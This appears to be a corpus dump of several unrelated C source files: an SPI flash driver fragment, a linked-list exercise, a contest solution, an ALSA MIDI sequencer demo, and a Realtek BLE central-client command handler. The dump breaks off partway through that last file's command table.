spiMemTransac(SPI_TRANSACTION_TYPE_WRITE, (uint8_t *)&eraseChip, sizeof(uint8_t)); GPIO_EXT_MEM_CS_set(); } /**************************************************************************//** \brief Erases the specified sector in external memory. ******************************************************************************/ static void memSectorEraseChip(uint32_t offset) { uint32_t address; // Address can't exceen three bytes offset &= 0xFFFFFF; address = LITTLE_TO_BIG_ENDIAN(offset); address |= SECTOR_ERASE; memSendWriteEnable(); while (memCheckBusyState() == FLASH_BUSY); GPIO_EXT_MEM_CS_clr(); spiMemTransac(SPI_TRANSACTION_TYPE_WRITE, (uint8_t *)&address, sizeof(uint32_t)); GPIO_EXT_MEM_CS_set(); } /**************************************************************************//** \brief Write within the specified page in the memory. ******************************************************************************/ static void memProgramPageData (uint32_t offset, uint8_t* data, uint16_t size) { uint32_t address; // Address can't exceed three bytes offset &= 0xFFFFFF; // Used uint16_t for the "size" argument to handle the corner case // when an entire page needs to be written since the page size = 0x100 // can't fit within uint8_t if (size == 0) return; if (size > PAGE_SIZE) size = PAGE_SIZE - (offset % PAGE_SIZE); // Set to remaining area in the given page address = LITTLE_TO_BIG_ENDIAN(offset); address |= PAGE_PROGRAM; memSendWriteEnable(); while (memCheckBusyState() == FLASH_BUSY); GPIO_EXT_MEM_CS_clr(); spiMemTransac(SPI_TRANSACTION_TYPE_WRITE, (uint8_t *)&address, sizeof(uint32_t)); spiMemTransac(SPI_TRANSACTION_TYPE_WRITE, (uint8_t *) data, size); GPIO_EXT_MEM_CS_set(); } /**************************************************************************//** \brief pre-erase an image area before flashing ******************************************************************************/ void memPreEraseImageArea(uint32_t offset, uint32_t size) { uint32_t sectorAddr; // Address can't exceed three bytes offset &= 0xFFFFFF; // Erase the sectors (4 KB) to which this image belongs for (sectorAddr = offset; (offset+size) >= (sectorAddr & 0xFFF000); sectorAddr+=SECTOR_SIZE) { memSectorEraseChip (sectorAddr); } } /**************************************************************************//** \brief Writes data to the external memory. ******************************************************************************/ void memWriteData(uint32_t offset, uint8_t *data, uint16_t size) { uint8_t *dataPtr; uint16_t currSize; uint32_t address; uint16_t pageNum; uint8_t pageOffset; // Address can't exceed three bytes offset &= 0xFFFFFF; if (!size) return; pageNum = (offset / PAGE_SIZE); pageOffset = offset % PAGE_SIZE; dataPtr = data; address = (pageNum << 8) | pageOffset; if (pageOffset) { // Remaining space in the page currSize = PAGE_SIZE - pageOffset; // Area to be flashed is within this remaining space if (size < currSize) { memProgramPageData (address, dataPtr, size); return; } memProgramPageData (address, dataPtr, currSize); dataPtr += currSize; pageNum++; } else { currSize = 0; } while (currSize < size) { // Loop to erase-write one page at a time address = (pageNum << 8); if ((size - currSize) < PAGE_SIZE) { // Last page memProgramPageData (address, dataPtr, (size - currSize)); return; } memProgramPageData (address, dataPtr, PAGE_SIZE); // Update loop counters dataPtr += PAGE_SIZE; pageNum++; currSize += PAGE_SIZE; } } #endif // EXT_MEM_WRITE_API #endif // EXTERNAL_MEMORY == MX25L2006E #endif //EXT_MEMORY // eof memmx25v40006.c
the_stack_data/232955861.c
#include <stdio.h> #include <stdlib.h> typedef struct node Node; struct node { int info; Node *prox; }; Node* cria_lista (int v){ Node* p = (Node*) malloc(sizeof(Node)); p->info = v; return p; } Node* insere_ordenado(Node *vet, int k); void imprime_lista(Node *lista); void libera_lista(Node *lista); int main() { int n, i, valor; Node *lst = NULL; scanf("%d", &n); for (i = 0; i < n; i++) { scanf("%d", &valor); lst = insere_ordenado(lst, valor); } scanf("%d", &valor); lst = insere_ordenado(lst, valor); imprime_lista(lst); libera_lista(lst); return 0; } Node* insere_ordenado(Node *lst, int k) { Node* novo = cria_lista(k); Node* ant = NULL; Node* p = lst; while (p != NULL && p->info < k) { ant = p; p = p->prox; } if (ant == NULL) { novo->prox = lst; lst = novo; } else { novo->prox = ant->prox; ant->prox = novo; } return (lst); } void imprime_lista(Node *lista) { Node *p = lista; if (lista == NULL) printf("Lista vazia"); while (p != NULL) { printf(" %d ", p->info); p = p->prox; } printf("\n"); } void libera_lista(Node *lista) { while(lista != NULL) { Node *p = lista; lista = lista->prox; free(p); } }
the_stack_data/143653.c
/* ************************************************ username : smmehrab fullname : s.m.mehrabul islam email : [email protected] institute : university of dhaka, bangladesh session : 2017-2018 ************************************************ */ #include<stdio.h> int main() { int n,m,i,j,k,x[200]={0}; char c; scanf("%d %d",&n,&m); i=0;k=0; while(i<n) { scanf("%d%c",&j,&c); if(k<m) { x[j]++; k++; } else if(j==1 && k==3 && n==1 && x[1]==1) { printf("NO\n"); return 0; } if(c=='\n') { i++; k=0; } } j=1; for(i=1;i<=m;i++) { if(x[i]==0) { j--; break; } } if(j!=1) printf("NO\n"); else printf("YES\n"); return 0; }
the_stack_data/15763480.c
/* seqdemo.c by Matthias Nagorni */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <alsa/asoundlib.h> snd_seq_t *open_seq(); void midi_action(snd_seq_t *seq_handle); snd_seq_t *open_seq() { snd_seq_t *seq_handle; int portid; if (snd_seq_open(&seq_handle, "default", SND_SEQ_OPEN_INPUT, 0) < 0) { fprintf(stderr, "Error opening ALSA sequencer.\n"); exit(1); } snd_seq_set_client_name(seq_handle, "ALSA Sequencer Demo"); if ((portid = snd_seq_create_simple_port(seq_handle, "ALSA Sequencer Demo", SND_SEQ_PORT_CAP_WRITE|SND_SEQ_PORT_CAP_SUBS_WRITE, SND_SEQ_PORT_TYPE_APPLICATION)) < 0) { fprintf(stderr, "Error creating sequencer port.\n"); exit(1); } return(seq_handle); } void midi_action(snd_seq_t *seq_handle) { snd_seq_event_t *ev; do { snd_seq_event_input(seq_handle, &ev); switch (ev->type) { case SND_SEQ_EVENT_CONTROLLER: fprintf(stderr, "Control event on Channel %2d: %5d \r", ev->data.control.channel, ev->data.control.value); break; case SND_SEQ_EVENT_PITCHBEND: fprintf(stderr, "Pitchbender event on Channel %2d: %5d \r", ev->data.control.channel, ev->data.control.value); break; case SND_SEQ_EVENT_NOTEON: fprintf(stderr, "Note On event on Channel %2d: %5d \r", ev->data.control.channel, ev->data.note.note); break; case SND_SEQ_EVENT_NOTEOFF: fprintf(stderr, "Note Off event on Channel %2d: %5d \r", ev->data.control.channel, ev->data.note.note); break; } snd_seq_free_event(ev); } while (snd_seq_event_input_pending(seq_handle, 0) > 0); } int main(int argc, char *argv[]) { snd_seq_t *seq_handle; int npfd; struct pollfd *pfd; seq_handle = open_seq(); npfd = snd_seq_poll_descriptors_count(seq_handle, POLLIN); pfd = (struct pollfd *)alloca(npfd * sizeof(struct pollfd)); snd_seq_poll_descriptors(seq_handle, pfd, npfd, POLLIN); while (1) { if (poll(pfd, npfd, 100000) > 0) { midi_action(seq_handle); } } }
the_stack_data/225142165.c
/** ***************************************************************************************** * Copyright(c) 2017, Realtek Semiconductor Corporation. All rights reserved. ***************************************************************************************** * @file user_cmd.c * @brief User defined test commands. * @details User command interfaces. * @author jane * @date 2017-06-06 * @version v1.0 ************************************************************************************** * @attention * <h2><center>&copy; COPYRIGHT 2017 Realtek Semiconductor Corporation</center></h2> ************************************************************************************** */ /*============================================================================* * Header Files *============================================================================*/ #if CONFIG_BT_USER_COMMAND #include <string.h> #include <trace_app.h> #include <gap_bond_le.h> #include <gap_scan.h> #include <user_cmd.h> #include <gap.h> #include <gap_conn_le.h> #include <gcs_client.h> /** @defgroup CENTRAL_CLIENT_CMD Central Client User Command * @brief This file handles Central Client User Command. * @{ */ /*============================================================================* * Variables *============================================================================*/ /** @brief User command interface data, used to parse the commands from Data UART. */ T_USER_CMD_IF user_cmd_if; /*============================================================================* * Functions *============================================================================*/ /** * @brief Show all devices connecting status * * <b>Command table define</b> * \code{.c} { "showcon", "showcon\n\r", "Show all devices connecting status\n\r", cmd_showcon }, * \endcode */ static T_USER_CMD_PARSE_RESULT cmd_showcon(T_USER_CMD_PARSED_VALUE *p_parse_value) { uint8_t conn_id; T_GAP_CONN_INFO conn_info; for (conn_id = 0; conn_id < BLE_CENTRAL_APP_MAX_LINKS; conn_id++) { if (le_get_conn_info(conn_id, &conn_info)) { data_uart_print("ShowCon conn_id %d state 0x%x role %d\r\n", conn_id, conn_info.conn_state, conn_info.role); data_uart_print("RemoteBd = [%02x:%02x:%02x:%02x:%02x:%02x] type = %d\r\n", conn_info.remote_bd[5], conn_info.remote_bd[4], conn_info.remote_bd[3], conn_info.remote_bd[2], conn_info.remote_bd[1], conn_info.remote_bd[0], conn_info.remote_bd_type); } } data_uart_print("active link num %d, idle link num %d\r\n", le_get_active_link_num(), le_get_idle_link_num()); return (RESULT_SUCESS); } /** * @brief LE connection param update request * * <b>Command table define</b> * \code{.c} { "conupdreq", "conupdreq [conn_id] [interval_min] [interval_max] [latency] [supervision_timeout]\n\r", "LE connection param update request\r\n\ sample: conupdreq 0 0x30 0x40 0 500\n\r", cmd_conupdreq }, * \endcode */ static T_USER_CMD_PARSE_RESULT cmd_conupdreq(T_USER_CMD_PARSED_VALUE *p_parse_value) { T_GAP_CAUSE cause; uint8_t conn_id = p_parse_value->dw_param[0]; uint16_t conn_interval_min = p_parse_value->dw_param[1]; uint16_t conn_interval_max = p_parse_value->dw_param[2]; uint16_t conn_latency = p_parse_value->dw_param[3]; uint16_t supervision_timeout = p_parse_value->dw_param[4]; cause = le_update_conn_param(conn_id, conn_interval_min, conn_interval_max, conn_latency, supervision_timeout, 2 * (conn_interval_min - 1), 2 * (conn_interval_max - 1) ); return (T_USER_CMD_PARSE_RESULT)cause; } /** * @brief Disconnect to remote device * * <b>Command table define</b> * \code{.c} { "disc", "disc [conn_id]\n\r", "Disconnect to remote device\n\r", cmd_disc }, * \endcode */ static T_USER_CMD_PARSE_RESULT cmd_disc(T_USER_CMD_PARSED_VALUE *p_parse_value) { uint8_t conn_id = p_parse_value->dw_param[0]; T_GAP_CAUSE cause; cause = le_disconnect(conn_id); return (T_USER_CMD_PARSE_RESULT)cause; } /** * @brief Config authentication mode * * <b>Command table define</b> * \code{.c} { "authmode", "authmode [auth_flags] [io_cap] [sec_enable] [oob_enable]\n\r", "Config authentication mode\r\n\ [auth_flags]:authentication req bit field: bit0-(bonding), bit2-(MITM), bit3-(SC)\r\n\ [io_cap]:set io Capabilities: 0-(display only), 1-(display yes/no), 2-(keyboard noly), 3-(no IO), 4-(keyboard display)\r\n\ [sec_enable]:Start smp pairing procedure when connected: 0-(disable), 1-(enable)\r\n\ [oob_enable]:Enable oob flag: 0-(disable), 1-(enable)\r\n\ sample: authmode 0x5 2 1 0\n\r", cmd_authmode }, * \endcode */ static T_USER_CMD_PARSE_RESULT cmd_authmode(T_USER_CMD_PARSED_VALUE *p_parse_value) { T_GAP_CAUSE cause; uint8_t auth_pair_mode = GAP_PAIRING_MODE_PAIRABLE; uint16_t auth_flags = GAP_AUTHEN_BIT_BONDING_FLAG; uint8_t auth_io_cap = GAP_IO_CAP_NO_INPUT_NO_OUTPUT; uint8_t oob_enable = false; uint8_t auth_sec_req_enable = false; uint16_t auth_sec_req_flags = GAP_AUTHEN_BIT_BONDING_FLAG; if (p_parse_value->param_count > 0) { auth_flags = p_parse_value->dw_param[0]; auth_sec_req_flags = p_parse_value->dw_param[0]; } if (p_parse_value->param_count > 1) { auth_io_cap = p_parse_value->dw_param[1]; } if (p_parse_value->param_count > 2) { auth_sec_req_enable = p_parse_value->dw_param[2]; } if (p_parse_value->param_count > 3) { oob_enable = p_parse_value->dw_param[3]; } gap_set_param(GAP_PARAM_BOND_PAIRING_MODE, sizeof(auth_pair_mode), &auth_pair_mode); gap_set_param(GAP_PARAM_BOND_AUTHEN_REQUIREMENTS_FLAGS, sizeof(auth_flags), &auth_flags); gap_set_param(GAP_PARAM_BOND_IO_CAPABILITIES, sizeof(auth_io_cap), &auth_io_cap); gap_set_param(GAP_PARAM_BOND_OOB_ENABLED, sizeof(uint8_t), &oob_enable); le_bond_set_param(GAP_PARAM_BOND_SEC_REQ_ENABLE, sizeof(auth_sec_req_enable), &auth_sec_req_enable); le_bond_set_param(GAP_PARAM_BOND_SEC_REQ_REQUIREMENT, sizeof(auth_sec_req_flags), &auth_sec_req_flags); cause = gap_set_pairable_mode(); return (T_USER_CMD_PARSE_RESULT)cause; } /** * @brief Send authentication request * * <b>Command table define</b> * \code{.c} { "sauth", "sauth [conn_id]\n\r", "Send authentication request\n\r", cmd_sauth }, * \endcode */ static T_USER_CMD_PARSE_RESULT cmd_sauth(T_USER_CMD_PARSED_VALUE *p_parse_value) { uint8_t conn_id = p_parse_value->dw_param[0]; T_GAP_CAUSE cause; cause = le_bond_pair(conn_id); return (T_USER_CMD_PARSE_RESULT)cause; } /** * @brief Send user confirmation when show GAP_MSG_LE_BOND_USER_CONFIRMATION * * <b>Command table define</b> * \code{.c} { "userconf", "userconf [conn_id] [conf]\n\r", "Send user confirmation when show GAP_MSG_LE_BOND_USER_CONFIRMATION\r\n\ [conf]: 0-(Reject), 1-(Accept)\r\n\ sample: userconf 0 1\n\r", cmd_userconf }, * \endcode */ static T_USER_CMD_PARSE_RESULT cmd_userconf(T_USER_CMD_PARSED_VALUE *p_parse_value) { uint8_t conn_id = p_parse_value->dw_param[0]; T_GAP_CFM_CAUSE confirm = GAP_CFM_CAUSE_ACCEPT; T_GAP_CAUSE cause; if (p_parse_value->dw_param[1] == 0) { confirm = GAP_CFM_CAUSE_REJECT; } cause = le_bond_user_confirm(conn_id, confirm); return (T_USER_CMD_PARSE_RESULT)cause; } /** * @brief Input passkey when show GAP_MSG_LE_BOND_PASSKEY_INPUT * * <b>Command table define</b> * \code{.c} { "authkey", "authkey [conn_id] [passkey]\n\r", "Input passkey when show GAP_MSG_LE_BOND_PASSKEY_INPUT\r\n\ [passkey]: 0 - 999999\r\n\ sample: authkey 0 123456\n\r", cmd_authkey }, * \endcode */ static T_USER_CMD_PARSE_RESULT cmd_authkey(T_USER_CMD_PARSED_VALUE *p_parse_value) { uint8_t conn_id = p_parse_value->dw_param[0]; uint32_t passcode = p_parse_value->dw_param[1]; T_GAP_CAUSE cause; T_GAP_CFM_CAUSE confirm = GAP_CFM_CAUSE_ACCEPT; if (passcode > GAP_PASSCODE_MAX) { confirm = GAP_CFM_CAUSE_REJECT; } cause = le_bond_passkey_input_confirm(conn_id, passcode, confirm); return (T_USER_CMD_PARSE_RESULT)cause; } /** * @brief Clear all bonded devices information * * <b>Command table define</b> * \code{.c} { "bondclear", "bondclear\n\r", "Clear all bonded devices information\n\r", cmd_bondclear }, * \endcode */ static T_USER_CMD_PARSE_RESULT cmd_bondclear(T_USER_CMD_PARSED_VALUE *p_parse_value) { le_bond_clear_all_keys(); return (RESULT_SUCESS); } /** * @brief Get all Bonded devices information * * <b>Command table define</b> * \code{.c} { "bondinfo", "bondinfo\n\r", "Get all Bonded devices information\n\r", cmd_bondinfo }, * \endcode */ static T_USER_CMD_PARSE_RESULT cmd_bondinfo(T_USER_CMD_PARSED_VALUE *p_parse_value) { uint8_t i; T_LE_KEY_ENTRY *p_entry; for (i = 0; i < bond_storage_num; i++) { p_entry = le_find_key_entry_by_idx(i); if (p_entry != NULL) { data_uart_print("bond_dev[%d]: bd 0x%02x%02x%02x%02x%02x%02x, addr_type %d, flags 0x%x\r\n", p_entry->idx, p_entry->remote_bd.addr[5], p_entry->remote_bd.addr[4], p_entry->remote_bd.addr[3], p_entry->remote_bd.addr[2], p_entry->remote_bd.addr[1], p_entry->remote_bd.addr[0], p_entry->remote_bd.remote_bd_type, p_entry->flags); } } return (RESULT_SUCESS); } /************************** Central only *************************************/ /** * @brief Start scan * * <b>Command table define</b> * \code{.c} { "scan", "scan [filter_policy] [filter_duplicate]\n\r", "Start scan\r\n\ [filter_policy]: 0-(any), 1-(whitelist), 2-(any RPA), 3-(whitelist RPA) \r\n\ [filter_duplicate]: 0-(disable), 1-(enable) \n\r", cmd_scan }, * \endcode */ static T_USER_CMD_PARSE_RESULT cmd_scan(T_USER_CMD_PARSED_VALUE *p_parse_value) { T_GAP_CAUSE cause; uint8_t scan_filter_policy = GAP_SCAN_FILTER_ANY; uint8_t scan_filter_duplicate = GAP_SCAN_FILTER_DUPLICATE_ENABLE; if (p_parse_value->param_count > 0) { scan_filter_policy = p_parse_value->dw_param[0]; } if (p_parse_value->param_count > 1) { scan_filter_duplicate = p_parse_value->dw_param[1]; } le_scan_set_param(GAP_PARAM_SCAN_FILTER_POLICY, sizeof(scan_filter_policy), &scan_filter_policy); le_scan_set_param(GAP_PARAM_SCAN_FILTER_DUPLICATES, sizeof(scan_filter_duplicate), &scan_filter_duplicate); cause = le_scan_start(); return (T_USER_CMD_PARSE_RESULT)cause; } /** * @brief Stop scan * * <b>Command table define</b> * \code{.c} { "stopscan", "stopscan\n\r", "Stop scan\n\r", cmd_stopscan }, * \endcode */ static T_USER_CMD_PARSE_RESULT cmd_stopscan(T_USER_CMD_PARSED_VALUE *p_parse_value) { T_GAP_CAUSE cause; cause = le_scan_stop(); return (T_USER_CMD_PARSE_RESULT)cause; } /** * @brief Connect to remote device: use address * * <b>Command table define</b> * \code{.c} { "con", "con [BD0] [BD1] [BD2] [BD3] [BD4] [BD5] [addr_type]\n\r", "Connect to remote device: use address\r\n\ [BD0] [BD1] [BD2] [BD3] [BD4] [BD5]: remote device address\r\n\ [addr_type]: 0-(public), 1-(random)\r\n\ sample: con x11 x22 x33 x44 x55 x66 0 \n\r", cmd_con }, * \endcode */ static T_USER_CMD_PARSE_RESULT cmd_con(T_USER_CMD_PARSED_VALUE *p_parse_value) { T_GAP_CAUSE cause; uint8_t addr[6] = {0}; uint8_t addr_len; uint8_t addr_type = GAP_REMOTE_ADDR_LE_PUBLIC; T_GAP_LE_CONN_REQ_PARAM conn_req_param; conn_req_param.scan_interval = 0x10; conn_req_param.scan_window = 0x10; conn_req_param.conn_interval_min = 80; conn_req_param.conn_interval_max = 80; conn_req_param.conn_latency = 0; conn_req_param.supv_tout = 1000; conn_req_param.ce_len_min = 2 * (conn_req_param.conn_interval_min - 1); conn_req_param.ce_len_max = 2 * (conn_req_param.conn_interval_max - 1); le_set_conn_param(GAP_CONN_PARAM_1M, &conn_req_param); for (addr_len = 0; addr_len < GAP_BD_ADDR_LEN; addr_len++) { addr[addr_len] = p_parse_value->dw_param[GAP_BD_ADDR_LEN - addr_len - 1]; } if (p_parse_value->param_count >= 7) { addr_type = p_parse_value->dw_param[6]; } cause = le_connect(GAP_PHYS_CONN_INIT_1M_BIT, addr, (T_GAP_REMOTE_ADDR_TYPE)addr_type, GAP_LOCAL_ADDR_LE_PUBLIC, 1000); return (T_USER_CMD_PARSE_RESULT)cause; } /************************** GATT client *************************************/ /** * @brief Send indication confimation * * <b>Command table define</b> * \code{.c} { "indconf", "indconf [conn_id]\n\r", "Send indication confimation\r\n\ sample: indconf 0\n\r", cmd_indconf }, * \endcode */ T_USER_CMD_PARSE_RESULT cmd_indconf(T_USER_CMD_PARSED_VALUE *p_parse_value) { T_GAP_CAUSE ret; uint8_t conn_id = p_parse_value->dw_param[0]; ret = gcs_attr_ind_confirm(conn_id); return (T_USER_CMD_PARSE_RESULT)ret; } /** * @brief Write data to service * * <b>Command table define</b> * \code{.c} { "write", "write [conn_id] [type] [handle] [length] [value0] [...]\n\r", "Write data to service\r\n\ [type]: write type: 1-(write request), 2-(write command)\r\n\ [handle]:attribute handle\r\n\ [length]:value length\r\n\ [value0]:overwrite the value0\r\n\ sample: write 0 1 x17 2 02 00\r\n\ sample: write 0 2 x19 10\n\r", cmd_write }, * \endcode */ T_USER_CMD_PARSE_RESULT cmd_write(T_USER_CMD_PARSED_VALUE *p_parse_value) { uint8_t conn_id = p_parse_value->dw_param[0]; uint8_t write_type = p_parse_value->dw_param[1]; uint16_t handle = p_parse_value->dw_param[2]; uint16_t length = p_parse_value->dw_param[3]; uint8_t data[512] = {1, 2, 3, 4, 5, 6, 7, 8, 9}; if (p_parse_value->param_count > 4) { for (uint8_t i = 0; i < p_parse_value->param_count - 4; ++i) { data[i] = p_parse_value->dw_param[i + 4]; } } T_GAP_CAUSE ret = gcs_attr_write(conn_id, (T_GATT_WRITE_TYPE)write_type, handle, length, data); return (T_USER_CMD_PARSE_RESULT)ret; } /** * @brief Discover all primary services * * <b>Command table define</b> * \code{.c} { "gsrvdis", "gsrvdis [conn_id]\n\r", "Discover all primary services\r\n\ sample: gsrvdis 0\n\r", cmd_gsrvdis }, * \endcode */ T_USER_CMD_PARSE_RESULT cmd_gsrvdis(T_USER_CMD_PARSED_VALUE *p_parse_value) { uint8_t conn_id = p_parse_value->dw_param[0]; T_GAP_CAUSE cause = gcs_all_primary_srv_discovery(conn_id); return (T_USER_CMD_PARSE_RESULT)cause; } /** * @brief Discover services by uuid * * <b>Command table define</b> * \code{.c} { "srvuuid", "srvdis [conn_id] [type] [uuid]\n\r", "Discover services by uuid\r\n\ [type]:UUID type: 0-(uuid16), 1-(uuid128)\r\n\ [uuid]:Sevice uuid\r\n\ sample(uuid128): srvuuid 0 1 0x00006287 0x3c17d293 0x8e4814fe 0x2e4da212\r\n\ sample(uuid16): srvuuid 0 0 0x1801\n\r", cmd_srvuuid }, * \endcode */ T_USER_CMD_PARSE_RESULT cmd_srvuuid(T_USER_CMD_PARSED_VALUE *p_parse_value) { uint8_t conn_id = p_parse_value->dw_param[0]; T_GAP_CAUSE cause = GAP_CAUSE_SUCCESS; if (p_parse_value->dw_param[1] == 0) { uint16_t uuid16 = p_parse_value->dw_param[2]; cause = gcs_by_uuid_srv_discovery(conn_id, uuid16); } else if (p_parse_value->dw_param[1] == 1) { uint32_t u0 = p_parse_value->dw_param[2]; uint32_t u1 = p_parse_value->dw_param[3]; uint32_t u2 = p_parse_value->dw_param[4]; uint32_t u3 = p_parse_value->dw_param[5]; uint8_t uuid128[16] = { (uint8_t)u3, (uint8_t)(u3 >> 8), (uint8_t)(u3 >> 16), (uint8_t)(u3 >> 24), (uint8_t)u2, (uint8_t)(u2 >> 8), (uint8_t)(u2 >> 16), (uint8_t)(u2 >> 24), (uint8_t)u1, (uint8_t)(u1 >> 8), (uint8_t)(u1 >> 16), (uint8_t)(u1 >> 24), (uint8_t)u0, (uint8_t)(u0 >> 8), (uint8_t)(u0 >> 16), (uint8_t)(u0 >> 24) }; cause = gcs_by_uuid128_srv_discovery(conn_id, uuid128); } return (T_USER_CMD_PARSE_RESULT)cause; } /** * @brief Discover characteristic * * <b>Command table define</b> * \code{.c} { "chardis", "chardis [conn_id] [start handle] [end handle]\n\r", "Discover characteristic\r\n\ [start handle]:Start handle\r\n\ [end handle]:End handle\r\n\ sample: chardis 0 xc xff\n\r", cmd_chardis }, * \endcode */ T_USER_CMD_PARSE_RESULT cmd_chardis(T_USER_CMD_PARSED_VALUE *p_parse_value) { uint8_t conn_id = p_parse_value->dw_param[0]; uint16_t start_handle = p_parse_value->dw_param[1]; uint16_t end_handle = p_parse_value->dw_param[2]; T_GAP_CAUSE cause = gcs_all_char_discovery(conn_id, start_handle, end_handle); return (T_USER_CMD_PARSE_RESULT)cause; } /** * @brief Discover characteristic by uuid * * <b>Command table define</b> * \code{.c} { "charuuid", "charuuid [conn_id] [start handle] [end handle] [type] [uuid]\n\r", "Discover characteristic by uuid\r\n\ [start handle]:Start handle\r\n\ [end handle]:End handle\r\n\ [type]:UUID type: 0-(uuid16), 1-(uuid128)\r\n\ [uuid]:Sevice uuid\r\n\ sample(uuid128): charuuid 0 x1 xffff 1 x00006387 x3c17d293 x8e4814fe x2e4da212\r\n\ sample(uuid16): charuuid 0 x1 xffff 0 xb001\n\r", cmd_charuuid }, * \endcode */ T_USER_CMD_PARSE_RESULT cmd_charuuid(T_USER_CMD_PARSED_VALUE *p_parse_value) { uint8_t conn_id = p_parse_value->dw_param[0]; uint16_t start_handle = p_parse_value->dw_param[1]; uint16_t end_handle = p_parse_value->dw_param[2]; T_GAP_CAUSE cause = GAP_CAUSE_SUCCESS; if (p_parse_value->dw_param[3] == 0) { uint16_t uuid16 = p_parse_value->dw_param[4]; T_GAP_CAUSE cause = gcs_by_uuid_char_discovery(conn_id, start_handle, end_handle, uuid16); } else if (p_parse_value->dw_param[3] == 1) { uint32_t u0 = p_parse_value->dw_param[4]; uint32_t u1 = p_parse_value->dw_param[5]; uint32_t u2 = p_parse_value->dw_param[6]; uint32_t u3 = p_parse_value->dw_param[7]; uint8_t uuid128[16] = { (uint8_t)u3, (uint8_t)(u3 >> 8), (uint8_t)(u3 >> 16), (uint8_t)(u3 >> 24), (uint8_t)u2, (uint8_t)(u2 >> 8), (uint8_t)(u2 >> 16), (uint8_t)(u2 >> 24), (uint8_t)u1, (uint8_t)(u1 >> 8), (uint8_t)(u1 >> 16), (uint8_t)(u1 >> 24), (uint8_t)u0, (uint8_t)(u0 >> 8), (uint8_t)(u0 >> 16), (uint8_t)(u0 >> 24) }; T_GAP_CAUSE cause = gcs_by_uuid128_char_discovery(conn_id, start_handle, end_handle, uuid128); } return (T_USER_CMD_PARSE_RESULT)cause; } /** * @brief Discover characteristic descriptor * * <b>Command table define</b> * \code{.c} { "charddis", "charddis [conn_id] [start handle] [end handle]\n\r", "Discover characteristic descriptor\r\n\ [start handle]:Start handle\r\n\ [end handle]:End handle\r\n\ sample: charddis 0 xc x14\n\r", cmd_charddis }, * \endcode */ T_USER_CMD_PARSE_RESULT cmd_charddis(T_USER_CMD_PARSED_VALUE *p_parse_value) { uint8_t conn_id = p_parse_value->dw_param[0]; uint16_t start_handle = p_parse_value->dw_param[1]; uint16_t end_handle = p_parse_value->dw_param[2]; T_GAP_CAUSE cause = gcs_all_char_descriptor_discovery(conn_id, start_handle, end_handle); return (T_USER_CMD_PARSE_RESULT)cause; } /** * @brief Read characteristic * * <b>Command table define</b> * \code{.c} { "read", "read [conn_id] [handle]\n\r", "Read characteristic\r\n\ [handle]:attribute handle\r\n\ sample: read 0 x1b\n\r", cmd_read }, * \endcode */ T_USER_CMD_PARSE_RESULT cmd_read(T_USER_CMD_PARSED_VALUE *p_parse_value) { uint8_t conn_id = p_parse_value->dw_param[0]; uint16_t handle = p_parse_value->dw_param[1]; T_GAP_CAUSE cause = GAP_CAUSE_SUCCESS; if (p_parse_value->param_count <= 2) { cause = gcs_attr_read(conn_id, handle); } return (T_USER_CMD_PARSE_RESULT)cause; } /** * @brief Read characterristic value by uuid * * <b>Command table define</b> * \code{.c} { "readu", "readu [conn_id] [start handle] [end handle] [type] [uuid]\n\r", "Read characterristic value by uuid\r\n\ [start handle]:Start handle\r\n\ [end handle]:End handle\r\n\ [type]:UUID type: 0-(uuid16), 1-(uuid128)\r\n\ [uuid]:Sevice uuid\r\n\ sample(uuid128): readu 0 x1 xffff 1 x00006387 x3c17d293 x8e4814fe x2e4da212\r\n\ sample(uuid16): readu 0 x1 xffff 0 0xb001\n\r", cmd_readu }, * \endcode */ T_USER_CMD_PARSE_RESULT cmd_readu(T_USER_CMD_PARSED_VALUE *p_parse_value) { uint8_t conn_id = p_parse_value->dw_param[0]; uint16_t start_handle = p_parse_value->dw_param[1]; uint16_t end_handle = p_parse_value->dw_param[2]; T_GAP_CAUSE cause = GAP_CAUSE_SUCCESS; if (p_parse_value->dw_param[3] == 0) { uint16_t uuid16 = p_parse_value->dw_param[4]; cause = gcs_attr_read_using_uuid16(conn_id, start_handle, end_handle, uuid16); } else if (p_parse_value->dw_param[3] == 1) { uint32_t u0 = p_parse_value->dw_param[4]; uint32_t u1 = p_parse_value->dw_param[5]; uint32_t u2 = p_parse_value->dw_param[6]; uint32_t u3 = p_parse_value->dw_param[7]; uint8_t uuid128[16] = { (uint8_t)u3, (uint8_t)(u3 >> 8), (uint8_t)(u3 >> 16), (uint8_t)(u3 >> 24), (uint8_t)u2, (uint8_t)(u2 >> 8), (uint8_t)(u2 >> 16), (uint8_t)(u2 >> 24), (uint8_t)u1, (uint8_t)(u1 >> 8), (uint8_t)(u1 >> 16), (uint8_t)(u1 >> 24), (uint8_t)u0, (uint8_t)(u0 >> 8), (uint8_t)(u0 >> 16), (uint8_t)(u0 >> 24) }; cause = gcs_attr_read_using_uuid128(conn_id, start_handle, end_handle, uuid128); } return (T_USER_CMD_PARSE_RESULT)cause; } /** @brief User command table */ const T_USER_CMD_TABLE_ENTRY user_cmd_table[] = { /************************** Common cmd *************************************/ { "conupdreq", "conupdreq [conn_id] [interval_min] [interval_max] [latency] [supervision_timeout]\n\r", "LE connection param update request\r\n\ sample: conupdreq 0 0x30 0x40 0 500\n\r", cmd_conupdreq }, { "showcon", "showcon\n\r", "Show all devices connecting status\n\r", cmd_showcon }, { "disc", "disc [conn_id]\n\r", "Disconnect to remote device\n\r", cmd_disc }, { "authmode", "authmode [auth_flags] [io_cap] [sec_enable] [oob_enable]\n\r", "Config authentication mode\r\n\ [auth_flags]:authentication req bit field: bit0-(bonding), bit2-(MITM), bit3-(SC)\r\n\ [io_cap]:set io Capabilities: 0-(display only), 1-(display yes/no), 2-(keyboard noly), 3-(no IO), 4-(keyboard display)\r\n\ [sec_enable]:Start smp pairing procedure when connected: 0-(disable), 1-(enable)\r\n\ [oob_enable]:Enable oob flag: 0-(disable), 1-(enable)\r\n\ sample: authmode 0x5 2 1 0\n\r", cmd_authmode }, { "sauth", "sauth [conn_id]\n\r", "Send authentication request\n\r", cmd_sauth }, { "userconf", "userconf [conn_id] [conf]\n\r", "Send user confirmation when show GAP_MSG_LE_BOND_USER_CONFIRMATION\r\n\ [conf]: 0-(Reject), 1-(Accept)\r\n\ sample: userconf 0 1\n\r", cmd_userconf }, { "authkey", "authkey [conn_id] [passkey]\n\r", "Input passkey when show GAP_MSG_LE_BOND_PASSKEY_INPUT\r\n\ [passkey]: 0 - 999999\r\n\ sample: authkey 0 123456\n\r", cmd_authkey }, { "bondinfo", "bondinfo\n\r", "Get all Bonded devices information\n\r", cmd_bondinfo }, { "bondclear", 